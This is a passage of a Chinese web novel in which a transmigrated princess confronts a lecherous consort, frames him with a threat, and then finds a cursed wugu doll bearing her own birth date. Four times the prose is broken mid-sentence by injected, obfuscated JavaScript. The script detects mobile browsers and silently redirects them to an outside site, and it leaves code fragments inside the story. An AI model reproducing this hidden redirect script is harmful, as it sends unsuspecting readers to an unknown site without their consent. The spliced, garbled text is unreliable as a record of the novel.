越说越兴头上,赵程直接把他对着歌姬的那一套,也搬了出来,“倒是妹妹,看来受了不少苦。不过没关系,如今你已经来到了洛京,自有姐夫疼你——” 林昭本就肚子里一团火,看着眼前赵程恶心的眼神,再听到那番话,脑子的怒火直接炸开了花。 如此黏腻的目光,如此裸露轻佻的言语,换个真的13岁的少女,可能一时之间还不明白怎么回事。林昭穿越之前都三十好几了,又怎么可能不知道呢。 她彷佛又看到那个初入社会,被无德上司揩油骚扰的自己。 “唰——”是剑被拔出的声音, 林昭直接抽出身旁林霄他腰间的剑。在现代那个和平年代,她没法打人,只能一杯水直接泼在那个恶心的领导脸上,裤子上,扭头就走了。 难道她穿书了,还没法打人吗?她不仅可以打人,还可以直接杀了赵程。 宝剑剑身寒光凛凛,冰冷的剑尖直抵赵程的咽喉,直接把他那未尽的下流话语全都堵了回去。 赵程被吓住了一瞬! 不过,看到林昭并没有立刻挥剑刺他,赵程见此也只以为林昭烈性而已,欲拒还迎吗,这套路他太懂了。 所以,很快便又含笑道,“妹妹又何必如此大反应呢,姐夫只是——” “闭上你的狗嘴!!”林昭冷冷得看着他,随即直接将剑往前一抵,剑尖瞬间在赵程的咽喉间刺出了一道红痕,这才继续道,“还有,挪开你那双脏眼!再敢用那样的眼神看孤,孤也不介意剜了你这双没用的眼睛。” 刺痛终于让赵程清醒了片刻,想起了眼前这个看似不起眼的女子,刚刚可是让人把他像狗一样摁在地上。 林昭可不是软弱的明康公主,可以任意被他欺辱的,想到这里,他选择能屈能伸,立马变脸挤出一个谄媚求饶的笑容。 “妹妹莫生气,是姐夫的不是,我——” 一边说着,他一边看向指着自己的剑,打算后退一步先离开这个危险的场景再说,反正自己手中握着巫蛊这个把柄,谅林昭也不敢太过分! 一边后退,他甚至还一边道,“妹妹,女孩子,就该温柔一点,何必打打杀杀不是,姐夫——” 然而,说到姐夫两个字他朝说不下去了,他看着眼前抵住自己喉咙的剑,为何这把剑的剑身上镌刻了“破虏”二字,那不是破虏将军的佩剑吗? 男人谁没有做过征战沙场的梦,陛下赏赐破虏将军一把破虏剑这事,他可是知道得清清楚楚的。 可惜,一直只闻其名未见其人。 只是眼前这昭王的护卫——赵程难以置信的看着他, “你怎么会有破虏剑?”说着,他又仔细的打量着林霄,这才发现,他身上的红衣甲胄,竟然不是他以为的寻常布甲,而是皮甲,一瞬间,一个不可思议的猜测,涌现在他的脑海,“你是破虏将军?” 林霄面无表情,好像刚刚放水让林昭抽剑的不是自己一样,只微微躬身,面向皇宫方向抱拳道,“承蒙陛下厚爱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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——武德帝显然不待见赵家显然已久,不然赵程不会连林霄都不认识,但心底却因为仁康太后的原因,想要保他们。而赵家呢,嚣张归嚣张,但显然被武德帝的冷遇吓怕了,维持的不过是表面的嚣张而已,心底对赵家在武德帝心中的地位其实并没底。 不过也能理解,帝王怎么可能向这样的人透露出自己的真实想法呢。 想通了这一点,林昭心中闪过一抹狂喜,立刻想到了解决如今巫蛊困境的方案——她完全可以利用这个信息差,利用赵程对武德帝可能知晓自己囚禁公主这件事的恐慌心理,逼迫赵程压下这件巫蛊祸事,以此施压破局。 想到这里,林昭的心瞬间定了下来! 她冷笑得看向赵程,“这是终于怕了?你竟然也会害怕?我还以为赵驸马有恃无恐,压根不知道害怕为何物呢?” 她能够看出他大概想知道一个否定的答案。对此,林昭自然不可能如他所愿,她直接唇角勾起,毫不留情的揭露了那个冰冷的现实,“赵程,你不会真以为自己囚禁公主这件事,做得天衣无缝吧!” “陛下——” “陛下自然知晓一切!陛下对明康公主府发生的事,可是关心得很呢!若非如此,你觉得我会来这里?”林昭丝毫不介意自己狐假虎威一把,况且她又没细说,陛下知道的是“什么”,只模糊其词说了陛下“关心这里”而已。 林昭这句话,如同最终判决,彻底粉碎了赵程心中最后的侥幸。 赵程眼神涣散,脸色立马惨白如纸,跟个鬼一样,口中只剩无意识的喃喃:“完了.........完了........全完了.......” 30.第 30 章 作为一个靠着先仁康太后的余荫方在这洛京立足的权贵,赵程以及赵家人都很清楚,他们的靠山是谁。不是死去的仁康太后,毕竟人都死了,怎么靠?而是仁康太后的儿子,当今的圣上,武德帝。 如今,赵家能够有的一切,都是武德帝给的。 他可以看不起任何人,甚至武德帝的那些儿女们也心存蔑视,私下里喝醉酒时,更是没少得意洋洋的对那些床榻上的女人炫耀,若没有仁康太后,陛下如何能够有如今的成就?陛下的皇位,有他赵家的一半呢。 但那也不过是跟个阴暗里的老鼠一般偷偷意淫而已,他是绝不敢将心思舞到武德帝的面前。一边是色厉内荏,一边是胆子大的出奇,指望着瞒天过海,说的便是他们这等人物。 如今陛下都知道,那他赵程以及赵家岂不是没有了活路? 本来,他是有机会提前发现这一切的,明明最开始见到林昭时,他就察觉到了不对,却因为自己的自大忽略了过去。刚刚管家赵伯也清楚点了护卫两个字,可结果因为自己太过于愤怒,压根就没有让他有机会往下说,结果也就这么华丽丽的忽视了。 就连来这小院这么一大段路,他都没想过往那些侍卫身上看一眼,所有的注意力都在即将暴露的囚禁公主这事儿上。 这一瞬间,赵程真真后悔莫及。 他挣扎着试图辩解,“我不是有意囚禁明康的,是她搞巫蛊,又说要陛下诛我九族?我才——” “赵驸马,我没有那么多时间陪你耗!”林昭直接将剑拔了出来,指着瘫坐在地的赵程说道。“况且,你现在对着我喊冤,你可是囚禁了明康长姐好几个月了,这几个月时间,但凡你看在陛下的面上放了她,都不至于闹成今天的后果。” 在她看来,眼前的赵程就跟现代那些吃一嘴油的,却骂骂咧咧就一件小事对妻子批判的男人一样。 作为既得利益者,他难道不知道明康那些“贤良淑德”行为背后,自己得到了多少利益吗?他知晓,但他觉得一切都理所当然,甚至还想得到更多。这才一点一点试探明康的底线,去掉她的臂膀,蚕食她的力量,直至最后囚禁她。 两人的争吵或许巫蛊只是诱言,但结果也不过是提前而已!没有这些东西,此人就不会这么做吗?不尽然吧! 这样的人,压根不需要给他们同情。 想到这里,林昭直接道,“巫蛊,好大一个罪名,赵程,你最好能够拿出证据来,不然——”剩余的话,她并没有细说,正如刚刚赵程可以拿巫蛊之祸这件事威胁她一样,如今赵程不知道武德帝要保赵家,她照样也可以以此反制赵程。 明康搞巫蛊是罪,作为驸马的赵程难道就没罪吗? 恰恰相反,比起明康,赵程才是最应该担心的人,毕竟,明康是公主,再怎么样,武德帝也不会杀她,最多囚禁而已。可赵家就不一样了,牵扯到巫蛊,哪怕他们没有干,但他们是驸马家族,牵连是必定的,全家抄斩都有可能。 真以为巫蛊之祸,是那么好玩的? 但很显然,赵程并没有想到这一点,他只觉得那是自己唯一的救命稻草。 前面他提及巫蛊的时候,不过是想让林昭闭嘴而已,所以他不介意给她看一看。但现在不同,陛下已经知道了自己的罪。囚禁一个正常的公主,和囚禁一个意图巫蛊诅咒的公主,可是两种罪名。 赵程自然不会再傻得将东西轻松交出去。 “我可以拿出证据,但我必须现在面见陛下。” 林昭没再看他,冷笑一声,转身就朝外走去,一边走一边对林霄道,“去禀告陛下,驸马都尉赵程心怀怨愤,大逆不道,行巫蛊厌胜之术,意图诅咒君上。” 赵程一愣:明明搞巫蛊的是明康,怎么变成他了?这分明是构陷! “你这是构陷?” “构陷?谁能证明我在构陷?”说着,她看向林霄,“林中郎,你看到我构陷了吗?” 林霄直接摇头,“末将没有看到。” “王舍人呢,你看到了吗?” 王直也恭敬的摇头,“奴婢只看到殿下为救明康公主殚精竭虑。” “所以啊!”林昭轻笑道,“赵驸马,谁能证明我构陷呢?你吗?” 赵程快疯了,他看向周围,这才发现自己给自己造了个作茧自缚的茧。 如今,整个厅里面除了自己,全都是昭王的人,哪怕是破虏将军,也是陛下的人,自己的下人被清场,心腹赵伯不在,而另一个当事人明康如今也不知道情况。就算她醒了,如果得知有这么一个机会将一切推脱到自己身上,她怕是也恨不得将罪名推脱给他。 一时之间,他竟然有一种叫天天不应叫地地不灵的感觉。 “昭王,你不能——”他还是不甘心,忍不住再次出声,很想唤起眼前人的良知。 “不,我能!”林昭淡然道,“况且,明康公主被你囚禁,如今早已昏迷不醒,奄奄一息,如何搞厌胜之术?反倒是你——”林昭冷了面容,沉声道,“一个不知足的贪婪恶獠,为了逃脱自身囚禁公主的罪恶,有充足的理由构陷栽赃公主!”说着,她冷冷道,“囚禁公主,构陷公主,你就等着陛下的雷霆之怒吧!” 林昭觉得前面的她,还是难以避免得陷入了现代人思维,却忘记了,在这样的古代,真相有时候还真不一定重要,权力即真理。历史都是一个任人打扮的小姑娘,更别说其他了。 “赵程,你想清楚了,你真的要赌陛下的决心吗?”说着,她低下头,冷冷的看着他,“连陛下身边最重要的虎贲中郎将都不认识,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不行,哪怕是认了囚禁公主的罪,也不能传出什么巫蛊这种东西。 赵程甚至有点想要扇自己嘴巴一巴掌,当初怎么就一时起了贪心,明知道那玩意如此致命,竟然还留了下来,只为了以此胁迫明康公主得到这公主府。更要命的是,明知道昭王的来意,嘴一个秃噜,就把巫蛊这个玩意说出来了。 这下好了,引来了一个阎王。 “赵程,你可要想好了?”再次占据上风,林昭自然不会忘记乘胜追击,直接对着他道,“是全家抄斩,甚至株连九族,还是交出巫蛊证据?” 威胁的同时,林昭也没有忘记恩威并施,打个巴掌给个甜枣,防止赵程破罐子破摔,“届时,我还可以奏明陛下,只追究你虐待囚禁公主之罪,对其他事情睁一只眼闭一只眼!如此,最起码赵家还能保住,你还能继续在这洛京当个富贵闲人。” 说完,她慢悠悠的收尾,“一切,可就在你这一念之间了。” 说完,她抬脚再次做出要离开去告状的姿势。 31.第 31 章 眼看着林昭离开的步子越来也越快,赵程再也顾不得其他了,双腿一趴就软跪在地,大喊道,“昭王,留步!我拿——我现在就让管家去拿!” 说完,便忍痛再次站了起来,几乎是踉跄得冲到小院外面,一把抓住依然停留在那里,正在不断徘徊的管家,低声急促的命令道,“赵伯,快——快去我书房——打开暗格,把那个带迦陵频伽鸟纹理的红酸枣木盒子拿过来——立刻拿来,别耽搁了!” 赵伯自从被虎贲卫轰出小院中厅后,内心就一直在焦虑着,深怕主家赵程出了意外。 届时,他赵伯怕也很难有活路了。 如今看到赵程安然无恙得出现,这才松了一口气。结果,这口气还没松完,就听到这样一个吩咐,心中忍不住一凛,老爷竟然要他拿东西,那昭王显然不好对付,忍不住凑近赵程低声问道,“老爷,要不要老奴把老夫人找来!昭王——” 虽然话没有挑明,但意思已经表达出来了,就是要搬出赵老夫人这个人,来应付昭王。毕竟,和赵程不同,赵老夫人在名义可是昭王祖母那一辈的,光辈分就能压死人。 赵程心中不耐,他知道赵伯是好意,但也清楚赵伯其实根本不知道,如今已经不是囚禁公主的事情了,而是牵扯到了巫蛊。真曝出去,汉代的太子都得死,别说他赵家这样一个所谓的舅家亲戚了,不然他怎么会只敢暗暗威胁呢! 阿娘是什么性格,他很清楚。真叫她来,哭爹喊娘,撒泼打滚,只会把事情弄得更遭。 当务之急,是将事情掩盖下去,而不是再扩大事端。 所以,他直接粗暴得挥手制止赵伯的提议,厉声道,“住口,赵伯,不要去打扰阿娘,也不要告诉任何人,快去将东西拿出来,速去速回。记住,里面的东西很致命,千万不要打开盒子。” 说完,他忍不住又说了第二遍,“记住,绝对不能打开盒子,也决不能弄丢那个盒子。那里面藏着的可是要抄家灭族的致命东西,你若看一眼或者弄丢了,就是老爷我也保不住你了。” 赵伯心肝颤了颤,立马明白了事情的严重性,狠狠地点了点头,行了个礼便快速朝赵程所说的书房走去。 旁边的佐尉刘辉也听到了这句话,他不知道赵程说的东西是什么,但一看就很重要,而且明显是殿下要的,想到自己护送林昭路上出的那件事,生怕又出现意外,立马示意两个虎贲卫暗中跟上。 不怕一万就怕万一,万一又出事了,他刘辉也没脸在虎贲军中待下去了。 各大府邸暗中收买或者早已埋藏的暗子们,本就在时刻关注着这件事,眼看着赵伯突然从小院走出来,自然猜到事情又有了变故。很快,各大府邸便得了消息。 东宫、宋府、谢府以及王家等顶级势力,向来没将明康公主这个人未放在眼里,因此压根猜不出这里面还牵扯了巫蛊这等骇人秘闻。右仆射李元也不过是惯常关注一下这个新出现的王爷,也没有过多“深思”。 唯有贤王和荣王两人,立马猜到了赵伯出来的缘由。 荣王林璋一直等着这个妹妹像当初的他一样,碰个硬钉子就灰溜溜的离开,搁一鼻子灰,然后自此对赵程府中之事再不关注呢。没想到,这个妹妹不仅没有退缩,反倒在明知道里面埋着巫蛊这个雷之后,还悍然插手了。 这样的结果,简直就像一记耳光,狠狠得抽在他脸上。 “该死!她怎么敢!”林璋捏着手中线人传来的密信,指尖发白,心中格外的愤怒,“她难道不知道巫蛊意味着什么吗?就算她自己不知道,身边的人不会告诉一声吗?还是说,她根本就有恃无恐,觉得自己能够摆平这一切。” 当然,这不是他最愤怒的,他愤怒的是,林昭有可能将事情揭破。那可是巫蛊之祸,届时,这枚好利用的棋子,怕是要就此毁了,还是以这样一种近乎愚蠢的方式毁掉的。 这让林璋如何能够忍受。 况且,自己可是派人去过明康公主府,届时若赵程受不了用刑,交代了这件事,父皇会如何看他。是否会觉得,自己在盼着他死。明知道巫蛊,都不上告! 很显然,他潜意识里认为,明康巫蛊诅咒的一定是武德帝。 想到这里,林璋心中便焦灼得很,简直如坐针垫,他扭头看向身旁的心腹,立马吩咐道,“去,立马去明康公主府,就说我这个哥哥有事情找她,务必把那个蠢货给我叫回来!”说到这里,林璋的声音阴沉得快能滴出水了,着重又吩咐了一句道,“一定要把她给孤带出来!” “还有——”林璋加重语气道,“让她把证据立马给孤毁了!” 心腹一听,不敢耽搁,匆匆领命而去。 另一边,贤王的心情就闲适多了。 因为林昭的这般鲁莽动作,正中他的下怀,完美了迎合了他想要坐收渔利的心思。 况且,那可是巫蛊,只要一想到那“巫蛊”届时会掀起的滔天巨浪,甚至连他那位好三弟怕也是要牵扯进去,林璋那张惯常如大理石般面无表情的面容,嘴角都忍不住弯起一个弧度极为细微的微笑。 “闹吧!闹吧!把这件事闹得越大越好!”他心下冷笑,“最好能把孤那好三弟,一举打下去!” 不过,想到此刻这个赵府的管家出小院,很大可能便是去拿那个关键的巫蛊证据。而他那二妹妹,但凡不是个愚钝的人,便一定会将这个关键的证据销毁。 林琏摩挲着手中的棋子,这可不是他想要的结果。他还想留着这个关键证据,把事情进一步搞大呢。 想到这里,他也迅速招来自己的心腹手下,对他吩咐道, “去,将那个老管家拦下来,杀了他,然后搜他身,他身上定有东西,无论是什么,届时你把它拿出来,快速回禀给孤。”想到此刻荣王林璋也可能关注这件事,必定也会派人去明康公主府。 林琏眼中闪过一抹幽光,随即立马又换来另一名心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307264|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹手下,直接对他道,“去,带人盯着荣王府,从现在开始,一盏茶的时间内,不管什么人出来,一律绑了,扔到荒僻处!” 那手下对这个命令不明所以,却也立马点头应下了。 很快,荣王林璋派出去的所有心腹,甚至还没来得及行动,便被那手下绑住了手脚,扔在了洛京一个废弃院落内。由此可见,相比于贤王,荣王在这个洛京的势力,着实不是一般的若。 而此刻的赵伯,对自身早已成为多方博弈的一环的险境,可以说一无所知。 公主府的规制跟昭王的昭王府类似,中轴线都是两个大殿,一个公主待客的正殿,一个公主和驸马歇息的后殿。不过,自从赵程将明康公主囚禁,扔到后院的一个废弃院落里面后,整个后殿便成了赵程的地方,连带着书房也被他搬了过去。 赵伯虽然心惊胆战,但办事能力着实不错,几乎没有片刻耽搁,就从废弃的小院,熟门熟路得走进后殿的书房。待走进书房看到那个有暗格的书桌时,手心都开始冒汗了。 虽然他备受赵程信任,不然,那样的地方他是不可能知道的。但真正取这么一个听着就很要命的东西,真还是第一次啊。平时,赵程放在暗格里的,最多也不过是个某个歌姬给她写的诗啊曲啊之类的,那可能有什么致命玩意。就是想有那玩意,这洛京的人也没有带着他老爷玩啊。 可眼下已经不是纠结这些的时候了,他擦了擦手,又抹了抹自己额头上不存在的汗,手指在书桌底部某个隐蔽处轻轻一按,随即暗格应声而开。很快,一个迦陵频伽鸟纹理的盒子便浮现在他眼前。 看了一眼那被洛京权贵们追捧为吉祥鸟的半人半鸟的纹理,赵伯只觉得头皮发麻,邪性得很。生怕自己再看下去,都没胆子拿起这盒子了。赵伯闭了闭眼,快速抓起盒子,恢复暗格,转身便走。 按道理而言,这里是公主府,他不应该紧张的。可赵程的话让他亚历山大,他如今只想赶紧沿着原路返回,把这个一看就是烫手山芋的东西,送到那个废弃小院,深怕出了什么变故。 然而,有的时候,就是怕什么来什么。 他刚走到半路,耳边便听到一阵急促的风声。他几乎凭着几十年摸爬滚打的本能去,猛地矮下身,这才避开了这道恶风。随即,他的耳边便听到“咚”的一声,一个闪着寒光的刀片擦着他的头皮飞了过去,狠狠得钉在了他前面的廊柱上。 “啊——”赵伯惊呼一声,骇得面无人色起来。 就在他以为自己要交代在这里时,金戈交击的声音响起,赵伯抬眼看去,他这才发现不知何时,身边竟然出现了两个虎贲卫,此刻正和一个灰衣下人打起来。三人之间刀光剑影,瞬间就缠斗了好几个来回。 毫无疑问,若没有这两个虎贲卫,他此刻怕是已经死在这里了! 想到这里,强行捡回了一条命的赵伯,也顾不得什么了,抱着盒子,连滚带爬得朝着小院狂奔而去。 32.第 32 章 很快,这件事就惊动了身处中厅的林昭等人,她走出去,看着跪在地上气喘吁吁,吓得不轻的赵伯,又看一眼显然已经听完事情经过,脸色白得几乎透明的赵程,立刻问道, “怎么回事?” 还没等赵程说话,两名虎贲卫就走了进来,跪下开始向林昭请罪,并将刚刚的事情一五一十说了出来。 林昭几乎是瞬间,就拼凑出了整个事件的经过,同时也立马意识到一件事,如今的明康公主府里面怕是已被暗子渗透了,她在这个府里的一举一动,可能都有人看在眼里。 如此情况之下,巫蛊这个秘密,只会更加瞒不住。她看向赵伯手中的盒子,扭头看了旁边的王直一眼,示意他将盒子拿过来,随即扭头走回室内。现在当务之急,是立马毁掉这个致命的东西。 很快,一众人便又回到中厅。 “打开吧!” 林昭淡淡得吩咐道,她倒想知道,这个明康公主所谓巫蛊把柄是什么?能够让赵程刚刚那般肆无忌惮! 王直领命,立马打开了盒子。 很快,黑色木盒内,一个做工堪称精妙的白色娃娃便呈现在了林昭等人面前。娃娃浑身裹以素娟,里面不知是软木制作而成,还是填充了其他东西,称得上一句逼真了。 布娃娃身上四肢遍布银针,针尖寒光闪烁,几乎覆盖了所有要害穴位,可以想见,当时明康手持这个布娃娃,将针一根一根扎进去的愤恨。 林昭瞬间有种头皮发麻的感觉,任谁看到这样密密麻麻的银针,都可能头皮发麻。 难怪这么多年的封建王朝,都将这玩意列为禁忌。 太瘆人了! 林昭在心底默念了好几遍科学发展观,这才强忍下心中寒意,冷静的伸手,用指尖捏住布偶娃娃边缘,将它翻了个面。 很快,娃娃背后,一行血色的生辰八字,展现在她面前。 看着那处熟悉得简直不要再熟悉的生辰八字时,林昭目光凝住了,甚至一下子便觉得浑身不对劲起来。 ——那竟然是她的生辰八字! 那一瞬间,震惊、愤怒、惊恐,难以置信,种种情绪如同幻灯片一样从她脑子里一一划过,最终混合成一股莫名的寒意,对着她兜头罩下,让她的耳边都忍不住嗡嗡响了起来。 亲们,谁能想到,找个巫蛊娃娃,竟然找到了自己被诅咒的证据。 可是,凭什么?明康公主凭什么诅咒她?她与这个长姐无冤无仇,两人甚至连正式见面都没有。难道这个世间真有无缘无故的恨吗?恨不得咒死她?这未免也太搞笑了! 随即,“呵……”一声极轻的、几乎听不出的冷笑,真的就从她喉间溢出。 林昭只觉没有比这更荒谬的事情! 这样的一个娃娃,她真的要销毁掉吗?这跟眼睁睁看着自己被烧死有何区别? 但下一秒,她突然想到一个问题,这个生辰八字不止是她的,还有一个人跟她有着同样的生辰八字。 这个人就是——这十几年来,与她互换了的假公主,林明珠。 一个更加合理更可能的猜测,涌入她的脑海! 明康公主不太可能无缘无故诅咒她。两人如今仅有的交集,也不过是今天。就这,还是在明康公主昏迷的情况之下。所以,这个被诅咒的人,与其说是她,倒不如说是林明珠。 想到这里,林昭方才猛然松了一口气。 至于为何明康会诅咒林明珠?一个备受团宠,一个受到极端冷落,林昭不用脑子都能想到,无非是姐妹间那点龌龊。 林昭对林明珠的观感很复杂,她并不恨她,却因为原主的原因,也不可能多喜欢就是。所以,对林明珠被诅咒一事,她心中并没有什么波澜。甚至还有点庆幸,幸好被诅咒的是林明珠,否则,这件事还真不好处理。 毕竟,贵人的八字,向来是秘密。皇帝的生辰八字,就更是秘中之秘。 若明康公主诅咒的不是林明珠,而是其他人,譬如武德帝,或者宋皇后之类的,她看了一眼身旁的王直青衣等人,纵然她今天把巫蛊这件事掩盖过去,武德帝肯定是能知道的,心中也会对她存在疙瘩,这个长姐未来的日子也绝不可能好过。 可若只是姐妹间的龌龊,这个事情的严峻等级,便可以向下移一个度了。 特别是在如今,林明珠已被揭破了假公主身份,不是皇家人了,事情的严峻等级,又能够往下移一个度。 只要武德帝心中有数,事情一切便好办了。 随即,林昭又看了赵程一眼,他显然是并不知道,这上面的生辰八字是谁的,只以为是在诅咒天子吧!不然,她刚刚构陷威胁他时,此人不可能没有任何反驳。 想到这个可能,林昭立马做出了决断,依旧按照原计划进行,立马销毁这个巫蛊娃娃! 不过,在销毁之前,对于巫蛊这件事,她决定还是遮掩一下。既然事情已经不是秘密了,那么对于这件事,他们内部之间就必须有一个统一的话术。 看着上面标注的穴位,电光火石间,林昭迅速想到了一个好的措词。 她看向在场的站着的赵程林霄等人,随即用手指轻轻弹了一下那扎满针的帛人,脸上露出一抹类似调侃的笑容,直接道,“赵驸马,你先是囚禁明康公主,刚刚又胆大包天的威胁孤,就是因为这个?” 说着,也不等赵程回答,她便状似怜悯的看着他道,“我看你大概是花天酒地久了,脑子有点不好使了。你看看,这哪里是什么巫蛊,这分明是明康长姐学医的绢人而已。孤早就听说,明康长姐非常爱学习,有段时间一直在学习医术,甚至为了辨别穴位,还特意扎了个绢人日夜练习。” 说着,她倾身向前,手指虚点了点盒子里的娃娃,“瞧,上面还标了穴位呢,长姐何等好学!” “姐夫,你的眼神和脑子,也该好好清理清理了。以后,做事可不能如此毛躁。就像你刚刚说的,咱们可是有规矩体统的人家,会闹大笑话的。”林昭收回手指,随即在旁边的案几上,轻轻的抹了一下,捻了捻上面的灰尘,随即笑意盈盈的看着他,声音淡淡道,“姐夫,你说,是吧!” 明明林昭说话的声音很轻,明明林昭每一句话都是笑着说出来的。然而,听着那一声声姐夫,笑话,赵程听着愣是有一种遍体生寒的感觉。 此刻,中厅里面虽然因为林昭的到来,管家紧急让人送来了几盆碳,但其实因为门窗许久未修复的缘故,内里并不暖。可赵程却觉得他浑身上下都开始冒汗,就连大清早才刚清理的脸上,也开始布上了细密的汗珠。 特别是听到那句。“咱们可是有规矩通通的人家”时,赵程身上的冷汗流的更快了。 因为他清楚的记得,自己刚刚在前殿客厅时,是如何暗中嘲讽眼下这位昭王不懂规矩体统的。如今,昭王把这句话送还给他,显然是在了心里记了仇呢。 看着昭王轻描淡写的将一件巫蛊事件, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319214|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接定性为明康为了学医的练习,到最后搞巫蛊的明康清清白白不说,还得了个爱好学习的美名。而他赵程则瞬间成为了鲁莽之辈,没搞清楚事情真相不说,还不知死活的把它说成巫蛊,闹出大笑话。 赵程心中如何不惊惧。 可即便心中如此惊惧,他依然不敢有任何异议,甚至必须认了这个罪名。 因为,此刻他比昭王更不希望这个巫蛊事件,真的传出去。 更何况,林昭还拿囚禁公主一事威胁他。眼看着林昭还在笑盈盈的看着他,彷佛不得到他的回答不罢休般,赵程心底哪里还敢有其他想法,只能赶紧上前行礼然后快速点头道,“昭王说得对!昭王说得有理!” 林昭:“看来,姐夫也同意我说的。” 赵程再次猛地点头,“是!都是我的错!我瞎了眼,还闹出了个大笑话。” “希望姐夫不要忘记今日之言。否则——” “不敢忘!自然绝不敢忘!”赵程点头如捣蒜道,“昭王放心,我绝对对此倒背如流。” 要不是自己好歹是驸马,他此刻都恨不得直接给林昭磕一个,以此来保证自己绝对不会忘记这件事。不就是背个锅吗?反正囚禁公主的事情都干了,这样一个小锅,他完全背得起。 林昭见此忍不住笑了起来,虽然不喜欢这个赵驸马,不仅是典型的纨绔子弟,嚣张跋扈,贪婪成性,刚刚还敢那般看她,色欲熏心。但此刻也不得不承认,这人身上还是有一点优点,譬如,特别怕死。 怕死好啊,怕死才能识时务,该低头时,低得下头。 如今,这件事已经不是秘密,必然是会曝出去的。那些人既然会想要杀赵伯,抢夺这个巫蛊娃娃。如今没有成功,肯定会想办法用巫蛊这个借口生事。那时,她便必须让赵程出面,全面否定存在这个东西。 如果赵程真的跳反,就会很麻烦。 不过,为了不妄生事端,眼下这个娃娃还是要处理的。林昭目光再次看向王直手里捧着的布娃娃,看着那遍布全身的银针,又一次觉得喉头发紧,浑身充满不适。 她赶紧扭过头,努力忽视这种心理性的异常,继续笑着说道,“虽然这只是长姐练习医术的绢人,不过,到底还是有点吓人。今日,孤就做主,将它烧了吧!”说着,她再次看向赵程,“姐夫,你觉得呢?” 虽然烧毁巫蛊,这件事若爆发了,等于给自己按上了一个罪名。 但林昭却不能不这么做,这个雷太大了,不毁掉没人会安心。 赵程巴不得赶紧烧掉呢,自然立马点头! 林昭看向王直,“烧了吧!” 王直会意,立马走到窗户旁的炭盆边,打开盒子,就要把这象征着不祥的玩意丢进去。可还没等他将那盒子里的木偶娃娃拿出来,中厅外就传来了一阵喧哗声,随即一个虎贲卫急匆匆的走了进来,对着林昭道, “殿下,青女官来报,明康公主怕是有点不好了!” “什么!”林昭震惊了!刚刚不是还在睡着吗?怎么突然之间就不好了。她赶忙让人叫青衣进来。很快,等候在外面焦急的青衣,便走进了中厅。一看到青衣脸上的表情,林昭便知,明康的情况那是真不好。毕竟,眼前这女官自从跟着她,她可是从没见她脸上还有除恭敬以外的神色。 林昭心沉了沉,百步她都走了九十九步了,明康这个长姐如果死在这一刻,她前面的功夫算是要白费了。 怎么会这样?